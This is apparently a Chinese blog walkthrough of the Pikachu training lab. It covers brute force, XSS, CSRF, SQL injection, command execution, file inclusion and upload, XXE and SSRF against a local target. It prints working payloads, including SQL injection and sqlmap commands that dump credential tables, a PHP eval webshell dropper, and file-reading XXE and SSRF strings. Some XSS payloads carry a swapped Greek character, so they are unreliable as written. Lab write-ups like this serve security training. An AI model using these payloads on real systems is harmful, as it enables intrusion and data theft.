pikachu靶场闯关

暴力破解

基于表单的暴力破解

1.对用户,密码进行抓包破解

验证码绕过(on server)

1.当输入错误的验证码的时候,提示验证码输入错误

2.当输入正确的验证码,提示 username or password is not exists~

3.输入正确的验证码,用bp抓包后,对用户和密码进行爆破。用户admin,密码123456

验证码绕过(on client)

在网页前端进行的一个验证码的判定规则

可疑通过F12点开控制台再F11进行禁用javascript,剩下就是对密码和用户进行爆破。

token防爆破

token : 当用户名和密码验证成功后,服务端生成token值,发给客户端,客户端储存在cookie或者本地存储,下次请求服务端带着token,验证成功就可直接登录,token值也可以设置失效时间。

什么是token?token是用来干嘛的?_token是什么意思-CSDN博客

因为token值被写到了前端,抓包可得每次的token值,如果只对用户和密码进行爆破,服务端并没有接收到客户端发来请求携带的token值,得不出正确的账户和密码。

对burp进行抓包,用户名为admin,对密码和token进行爆破,选择 Pitchfork模式

第一个playload简单设置

第二个playload设置为递归搜索

定义递归规则

选择线程数为1(递归Grep有效载荷不能与多个请求线程一起使用)

进行攻击,可得长度不同的密码为 123456

xss漏洞

XSS漏洞详解-CSDN博客

XSS(跨站脚本)概述

 Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
 1.反射性XSS;
 2.存储型XSS;
 3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
          输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
          输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
反射型xss(get)

在表单输入javascript代码,看是否能注入,查看源代码,text限制输入的字符大小,选择进行修改

可以看到注入成功

反射型xss(post)

存储型xss

留言板未对javascript语言进行过滤,可以直接注入,存储型xss可以存储之前的值

DOM型xss

介绍: DOM型xss可以在前端通过js渲染来完成数据的交互,达到插入数据造成xss脚本攻击,且不经过服务器,所以即使抓包无无法抓取到这里的流量,而反射性与存储型xss需要与服务器交互.(使用html事件)

先采用html事件onclick尝试闭合方式(直接写javascripit代码注入行不通)

看前端代码,onclick前有双引号需要闭合,尝试了一下>和'>,正确的闭合方式应该是'οnclick=alert('xss')>

DOM型xss-x

和前面没有什么区别

xss之盲打

意思就是前端页面看不出什么变化,只有登录到后台才可以弹窗

xss之过滤

1.试了<script></script>被过滤

2.尝试 οnclick=alert('xss') 没用

3.尝试下伪链接

<a href= "οnclick=alert(/xss/)">(???)

4.看符号的闭合.........

name=‘’message“

下面都正确

<a href= ""οnclick=alert(/xss/)>

<a href="" οnclick="alert('xss')">

xss之htmlspecialchars

htmlspecialchars函数会对<>进行转义,因此<script></script>不可以

尝试利用onclick事件

οnclick=alert('xss'),发现还是不行

尝试闭合符号

'οnclick=alert('xss')

'οnclick=alert('xss')

οnclick=alert('xss')

<a href="οnclick=alert(" xss')'="">οnclick=alert('xss')</a>

"οnclick=alert('xss')

<a href=""οnclick=alert(" xss')'="">"οnclick=alert('xss')</a>

xss之href输出

1.用正常的链接时,查看源代码,发现<>被转义了

<a href="" οnclick=alert(1)>

2,采用伪链接(短链接)

javascript:alert(/1/)

xss之js输出

输入<script>alert('xss')</script>,查看源代码,发现多了个<script>

闭合前面的<script>就行

</script><script>alert('xss')</script>

csrf跨站请求伪造

概念:

在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击.

csrf和xss的区别:

CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

防护措施:

因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如: -对敏感信息的操作增加安全的token; --对敏感信息的操作增加安全的验证码; --对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

csrf(get)

1.根据提示,知道已有的用户密码登陆进去,然后修改个人信息(模仿用户登录),利用bp抓包,利用csrf工具生成,修改它原本的信息。

生成链接

在bp自带的浏览器(前提是登录过后有cookie)打开链接,同时火狐浏览器代理关掉,bp拦截请求也关(不然请求发不过去)

csrf(post)

1.可以用上面的方法,但一定是在用户在同一个浏览器登陆后,获取cookie,才可以访问到伪造的链接。

下图是burp自带的浏览器没有登录,没有cookie状态下,访问不到。

2.尝试构造一个请求表单放在后台,然后用浏览器打开。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="boy" />
      <input type="hidden" name="phonenum" value="99999" />
      <input type="hidden" name="add" value="chain" />
      <input type="hidden" name="email" value="mmmmmm&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

csrf(token)

token值就是客户端登陆后,服务端给的令牌,让客户端下次登录带着令牌,经过验证。

bp抓包一次请求,修改其参数值。

再次登录后,个人信息就被修改了。

SQL-Inject

数字型注入(post)

1.由bp抓包,改变id的参数值,可以得到不同的信息

构造playload,可以遍历所有的信息 1 or 1=1 (1=1永远为真)

字符型注入(get)

根据sql语句来

select 字段1,字段2 from 表名 where username = 'admin';

select 字段1,字段2 from 表名 where username = 'admin’ or 1=1#'; //1=1永远为真,#号闭合了单引号

确定字段长度,长度为2

查取其版本号,admin' union select 1,version()#

查取数据库名:admin' union select 1,database()#

查取表名

admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查找字段信息:

admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='member'#

脱库:(一次只能查取两个字段数)

admin' union select group_concat(email),group_concat(username) from member#

搜索型注入

admin' or 1=1#(尝试了一下也可以)

%%(根据提示)

xx型注入

瞎猫撞上死耗子了。。

一开始尝试单引号闭合,报错(报错的是俩单引号,报错原因看源代码理解,可尝试将语句输出,换不同的符号进行分析)

尝试双引号闭合,没有回显

尝试’)闭合,成功 admin') or 1=1#

剩下的操作和上关相同

insert/update注入

1.本关考察更新数据库的信息,查找是否有注入的功能点在修改信息时的参数。

利用bp抓包,修改其修改信息的参数,观察注入点

根据update更新语句:, 多了个单引号

update member set sex='2'',phonenum='3'',address='5'',email='4' ' where username='111'

可以在存在注入点采用报错函数(因为update更新需要where后面的条件,所以需要用or来执行两个语句)

爆破数据库名

4’ or updatexml(1,concat(0x7e,database()),0) or '

爆破数据库表

'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and'

爆破数据库列

'and updatexml (1,concat(0x7e,(select group_concat(column_name) 
from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1) and'

脱库

'and updatexml (1,concat(0x7e,(select group_concat(username,password)
 from users),0x7e),1) and'
delete注入

delete语句是: delete xx from 表名 where id=x

在删除功能点抓包进行单引号测试,发现有报错回显

注意格式的问题

其他与上关相同

http header注入

http头存在注入,从UA头尝试

采用报错,爆破数据库名:

'or updatexml(1,concat(0x7e,database()),0) or '

 

其余与上关一样

盲注(base on boolian)

因为盲注无论输入什么都不会给明显的报错信息,尝试还浪费时间,直接用sqlmap工具跑

1.爆数据库名

sqlmap -u "http://ip/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --dbs --level=3 --risk=3

2.爆数据库表

sqlmap -u "http://ip/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" --tables --level=3 --risk=3

3.爆数据库列名

sqlmap -u "http://ip/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" -T "member" --columns --level=3 --risk=3

4.爆详细信息

sqlmap -u "http://ip/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" -T "member" -C "pw,username" --dump --level=3 --risk=3

盲注(base on time)

和上关一样。

宽字节注入

【SQL注入】深入解析宽字节注入原理(附靶场环境讲解)_宽字节注入payload-CSDN博客

原理:

宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码

看源代码知道是设置为gbk编码从而存在宽字节注入。

原因是php进行转义的时候会调用addslashes()函数: ' 会被转义为\' 从而注入失败,但当character_set_client设置值进行了一次gbk编码时,可以在\'被url编码后添加%df ,\'被url编码为%5c%27, 添加%df后就变为%df%5c%27,当MySQL使用GBK编码时,会将%df%5c 解析成一个字,从而使得单引号%27成功逃逸。

1.查数据库名:

构造playload

111%df' union select 1,database()

2.查表名

111%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

3.查字段名

这里有单引号会报错,因此要对字段进行十六进制编码

111%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

4.脱库

111%df' union select group_concat(username),group_concat(password) from pikachu.users --+

RCE

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

exec"ping"

原理: 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。

尝试通过管道符进行命令执行

127.0.0.1 | whoami

127.0.0.1 | dir

exec"evel"

原理: 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

在输入框输入phpinfo();

代码执行成功

File inclusion

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了: include(),include_once() require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到。

include 和 require 语句用于在执行流中插入写在其他文件中的有用的代码。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 <?php include function.php?> 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。

File inclusion(local)

本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。

一些固定的系统配置文件:../../../../Windows/System32/drivers/etc/hosts

File inclusion(remote)

前提需要打开allow_url_include在php.ini,并重启中间件。

远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的 .因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

通过url地址,先尝试能打开百度不能。

可以,则再通过url上传本地的木马文件,上传成功再通过蚁剑连接。

先上传一个文本文件,文件内容是写入一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]);?>');?>

然后访问这个txt文件,shell.txt文件的位置是自己决定的。我放在了靶场的目录下

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu-master/shell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

访问后,会在firemote.php的目录下生成php文件(相当于shell.txt文件里的内容替换掉文件包含这个php文件的没人,从而生成木马文件到当前目录)

再用蚁剑去连接就ok了。

防范措施:

0.在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作。 1.过滤各种./. ,http:// ,https:// 2.配置php.ini配置文件: allow_ url fopen = off Allow_ url include= off magic quotes_ gpc=on //gpc 3.通过白名单策略,仅允许包含运行指定的文件,其他的都禁止。

unsafe filedownload(不安全的文件下载)

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。

如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来从而导致后台敏感信息(密码文件、源代码等)被下载。

所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。

1.新建标签打开新的一页

2.对filename的值构造一个下载路径,我提前在pikachu-master目录下下载好1.txt

unsafe fileupload(不安全的文件上传)

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断。比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。

如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如: --验证文件类型、后缀名、大小; -验证文件的上传方式; --对文件进行一定复杂的重命名; --不要暴露文件上传后的路径; --等等...

client check

先写一个一句话木马文件,修改成png格式,上传用bp抓包

修改png后缀为php,知道文件上传的路径,蚁剑连接

MIME type

MIME介绍:

这次是上传php文件,将MIME改为图片类型。

蚁剑连接

getimagesize

绕过思路:

getimagesize()函数会通过读取文件头部的几个字符串(即文件头), 来判断是否为正常图片的头部

可通过制作图片木马或再木马文件内容头部添加GIF89a(Gif图片文件头), 然后利用文件包含漏洞来解析图片木马.

1.在木马文件内容头部添加GIF89a

2.制作图片马上传

Linux:cat a.png b.png > c.png
Windows:copy a.png /b + a.php /a 3.png

3.蚁剑连接(因为上传的是png文件,蚁剑执行不了其中的一句话木马),用上上关的文件包含来解析其中的文件

../../越两级是因为upsafeupload的文件位置是fi_local.php的上两个目录。

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2024/07/27/26449966a4b4ced65e0841161563.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

Over Permisson(越权漏洞)

概念:如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

越权漏洞分为水平越权和垂直越权:

  • 水平越权: A用户和B用户属于同一级别的用户, 但各自都不能操作对方的个人信息。若A用户能够越权操作B用户的个人信息, 这种情况我们称之为"水平越权"

  • 垂直越权: A用户权限高于B用户, B用户能对A用户进行操作的情况称为"垂直越权".

因此,在在权限管理中应该遵守: ​ 1.使用最小权限原则对用户进行赋权; ​ 2.使用合理(严格)的权限校验规则; ​ 3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

水平越权

根据提示,可以知道三个人的登陆密码

登录lucy后,点查看详细信息,url值为:

http://127.0.0.1/pikachu-master/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF

将username=lucy改为lili,就能看到lili的具体信息,不需要知道lili的密码。

垂直越权

根据提示,有两个用户,一个是普通用户pikachu只有查看的功能,一个是管理用户admin,有增删的功能。

我们可以利用登录pikachu来执行admin添加新用户的功能

pikachu登录的cookie值: PHPSESSID=lu7f0iu8j1hre27efb7gps3fu1

1.admin添加新用户用bp抓包

2.将admin的cookie值改为pikachu的cookie值

3.成功添加用户

另一种方法:

1.先登录admin,添加用户的url复制。

http://127.0.0.1/pikachu-master/vul/overpermission/op2/op2_admin_edit.php

2.登录到pikachu用户·后,粘贴复制这个url,可以发现pikachu也具有增加用户的功能,存在越权漏洞

../../../(目录遍历)

概念:前端在功能设计中将要操作的文件使用变量的方式传递给了后台,而又没有进行严格的安全考虑而造成的,攻击者可能会通过“../”(返回上级目录)这样的手段让后台打开或者执行一些其他的文件从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞

目录遍历

1.可以通过目录遍历的漏洞找到系统配置信息

2.可以通过目录遍历找到同一网站下的其他文件,比如可以找到不安全的文件下载文件。

http://127.0.0.1/pikachu-master/vul/dir/dir_list.php?title=jarheads.php改为

http://127.0.0.1/pikachu-master/vul/dir/dir_list.php?title=../../unsafedownload/unsafedownload.php

敏感信息泄露

概念:由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。

比如: ---通过访问url下的目录,可以直接列出目录下的文件列表; ---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息; ---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;

I can see your ABC

1.通过查看源代码:

看出账号密码:lili 123456

2.错误的url信息:

http://127.0.0.1/pikachu-master/vul/infoleak/abc.php

直接将findabc.php改为abc.php就直接登录进来了

PHP反序列化

PHP反序列化漏洞

【CTF竞赛】NISACTF 2022]popchains—PHP反序列化POP链 | Lusen的小窝 (lusensec.github.io)

看这篇文章了解

反序列化:unserialize()函数是将字符串反序列化为对象。

序列化:serialize()函数是将对象序列化为字符串。

1.创建文件写payload

<?php
class S{
    var $test = "pikachu";   //定义初始变量为pikachu
    }
$s = new S(); //定义新对象
$payload="<script>alert(document.cookie)</script>";//定义变量值为弹窗为cookie值
$s->test=$payload;//将对象$s的属性test的值设置为变量$payload的值。
echo serialize($s);//序列化对象$s
?>
 

将序列化得出的字符串填入输入框

2.根据源代码找漏洞所在处

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}
​
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){ //@符号用于抑制可能发生的任何错误信息
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
​
}
.....
<?php echo $html;?>

根据if语句,可以推断出如果对字符串存在'o',就对输入的字符串进行反序列化,并且反序列化的对象有一个名为test的属性,那么将这个属性的值添加到$html变量中,然后进行输出$html.

XXE(XML External Entity attack)

XXE漏洞

概念:攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题.

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

1.判断xml是否能被解析

<?xml version="1.0"?> 
<!DOCTYPE foo [  <!ENTITY xxe "123" > ]> 
<foo>&xxe;</foo>

解析成功为123

2.检测服务器是否支持引用外部实体

<?xml version="1.0"?> 
<!DOCTYPE foo [  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

URL重定向

概念:不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。 如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话。 就可能发生"跳错对象"的问题。

不安全的url跳转

构造url传入的参数。

url=www.baidu.com跳转成功。

SSRF(服务器端伪造请求)

概念:由攻击者利用服务器端的缺陷,构造形成服务端发起请求的漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

原理:由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

ssrf(curl)

Curl命令支持多种协议, 如http、https、ftp、file、gopher协议等等

1.使用file:///协议读取本地文件(或其他协议)

http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///D:/phpstudy_pro/WWW/wwwroot/pikachu-master/111.txt

2.利用dict协议扫描3306端口是否开放

ssrf(file_get_content)

该关卡会用到 file_get_content函数, 该函数的作用是读取文件的内容, 可直接读取主机绝对路径或相对路径的文件, 也可以使用php伪协议进行利用。

1.file协议

file:///D:/phpstudy_pro/WWW/wwwroot/pikachu-master/111.txt

2.php伪协议

file=php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/wwwroot/pikachu-master/111.txt

得出的数据再进行base64解码。

相关链接:Pikachu靶场全关攻略(超详细!) - 亨利其实很坏 - 博客园 (cnblogs.com)icon-default.png?t=N7T8https://www.cnblogs.com/henry666/p/16947270.html

  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值